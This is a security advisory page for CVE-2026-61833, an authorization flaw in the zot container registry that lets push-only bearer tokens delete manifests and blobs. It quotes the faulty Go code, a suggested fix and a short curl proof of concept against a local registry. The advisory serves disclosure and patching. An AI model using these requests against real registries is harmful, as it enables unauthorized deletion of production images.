Skip to content
CVE IDCVE-2026-61833GitHub advisory IDGHSA-qg67-7m6v-qg25

zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion

CVE-2026-61833 (GitHub advisory GHSA-qg67-7m6v-qg25) is a high-severity vulnerability with a CVSS 3.1 base score of 8.1, classed as Improper Authorization (CWE-285), in zotregistry.dev/zot/v2 (Go). Affected versions: < 2.1.18. It is fixed in 2.1.18.

High8.1Fix availableGitHub reviewed

Published 18 Sept 2026Updated 18 Sept 2026

8.1HighCVSS 3.1
EPSS
0.42%higher than 36% of CVEs
Weakness (CWE)
KEV status
Not in KEV
Published
18 Sept 2026
Updated
18 Sept 2026
Ecosystem
  • Go
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

A bearer token with only pull and push scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the "push" action, and the DistSpecAuthzHandler middleware is bypassed entirely for bearer-authenticated requests. This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs within the token's repository scope, in violation of the Docker Distribution Token Authentication Specification.

Details

The vulnerability exists in two interacting components:

1. Action Mapping Collapse (pkg/api/authn.go:571–586)

The bearer authentication handler maps HTTP methods to token scope actions using a binary check:

action := "pull"
if m := request.Method; m != http.MethodGet && m != http.MethodHead {
    action = "push"
}

This collapses DELETE, PUT, PATCH, and POST into a single "push" action. The "delete" action is never assigned.

2. Authorization Bypass for Bearer Auth (pkg/api/authz.go:270–275, 318–323)

When a request is authenticated via bearer token, the DistSpecAuthzHandler middleware, which performs fine-grained action inference (distinguishing create, read, update, and delete) is bypassed entirely:

if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) {
    next.ServeHTTP(response, request)
    return
}

3. No Handler-Level Authorization Check

Neither DeleteManifest (routes.go:799–884) nor DeleteBlob (routes.go:1192–1241) performs an independent authorization check for delete permission before executing the deletion.

Deviation from Specification and Reference Implementation

The [Docker Distribution Token Scope Documentation](https://distribution.github.io/distribution/spec/auth/scope/) defines delete as a distinct action separate from push. The reference implementation ([distribution/distribution](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)) correctly maps DELETE requests to the "delete" action:

case http.MethodDelete:
    records = append(records,
        auth.Access{
            Resource: resource,
            Action:   "delete",
        })

Furthermore, zot's own native access-control configuration explicitly distinguishes delete as a separate permission from create and update, confirming the project's intent that delete is a distinct authorization action.

Suggested Fix

In pkg/api/authn.go, the action mapping should distinguish DELETE:

action := "pull"
switch {
case m == http.MethodGet || m == http.MethodHead:
    action = "pull"
case m == http.MethodDelete:
    action = "delete"
default:
    action = "push"
}

The DistSpecAuthzHandler bypass for bearer-authenticated requests (authz.go:270–275) should also be reconsidered to ensure bearer-authenticated requests receive equivalently granular authorization checks.

PoC

Prerequisites: zot v2.1.15 with bearer authentication enabled, and a token server issuing JWTs with actions: ["pull", "push"] (no "delete").

Steps to Reproduce:

  1. Configure zot with bearer authentication pointing to a token server
  2. Obtain a bearer token with scope repository:poc-test:pull,push (no delete)
  3. Upload a config blob:
curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/octet-stream" \
  -X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
  -d '{}'
# → 201 Created
  1. Push a manifest tagged v1.0 (succeeds token has push):
curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
  -X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
  -d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
# → 201 Created
  1. DELETE the manifest with the same push-only token (should return 401, but returns 202):
curl -H "Authorization: Bearer $TOKEN" \
  -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 202 Accepted (VULNERABLE)
  1. Confirm the manifest is gone:
curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
  "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 404 Not Found

Expected behavior: Step 5 should return 401 Unauthorized with a WWW-Authenticate header requesting scope="repository:poc-test:delete".

Actual behavior: Step 5 returns 202 Accepted and the manifest is permanently deleted.

A complete reproducer (minimal Go token server + zot config + automated script) is available upon request.

Impact

Privilege Escalation / Unauthorized Deletion Any bearer token with push scope can delete manifests and blobs, even when the token was explicitly issued without delete permissions.

This is particularly impactful in CI/CD environments where automated systems are issued least-privilege tokens with only pull and push permissions. A compromised or stolen CI token which should only be able to build and push images can be used to:

  • Delete arbitrary manifests (tags) within any repository covered by the token's scope
  • Delete arbitrary blobs within those repositories
  • Render production container images unpullable
  • Rewrite image history by removing specific tags

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

High8.1Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
Low
Privileges Required PR
Low
User Interaction UI
None
Scope S
Unchanged
Confidentiality C
None
Integrity I
High
Availability A
High

Affected packages

Source: OSV (GitHub advisory)

  • zotregistry.dev/zot/v2
    Go
    pkg:golang/zotregistry.dev/zot/v2
    Affected versions
    < 2.1.18
    Fixed in
    2.1.18

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 2.1.18 or later.

Patch commits

  • 7bb211bPatch commitgithub.com/project-zot/zot

    fix: map HTTP methods to corresponding scope actions in bearer authen… (#4161)

    +126 −2 across 2 files

    • pkg/api/authn.go+9 −2
    • pkg/api/authn_test.go+117 −0
  • #4161Pull requestgithub.com/project-zot/zot

Vulnerability intelligence

References

Credits

Questions about CVE-2026-61833

What is the GHSA ID for CVE-2026-61833?
GitHub tracks CVE-2026-61833 as GHSA-qg67-7m6v-qg25.
What is the CVSS score of CVE-2026-61833?
CVE-2026-61833 has a CVSS 3.1 base score of 8.1 (High), vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
Which versions are affected by CVE-2026-61833?
zotregistry.dev/zot/v2 (Go): < 2.1.18.
How do I fix CVE-2026-61833?
Upgrade to 2.1.18 or later. The fix is in commit 7bb211b and pull request #4161.
What is the Package URL (PURL) for CVE-2026-61833?
The affected package's PURL is pkg:golang/zotregistry.dev/zot/v2.
Is CVE-2026-61833 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61833. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. EPSS estimates a 0.42% chance of exploitation in the next 30 days, higher than 36% of CVEs.

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)LoadedRaw JSON
  • CVE.orgLoaded
  • CISA KEV catalogLoaded

Fetched 5 days ago (8 Oct 2026, 16:48 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
KEV status
CISA KEV catalog
EPSS
GitHub Advisory Database

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.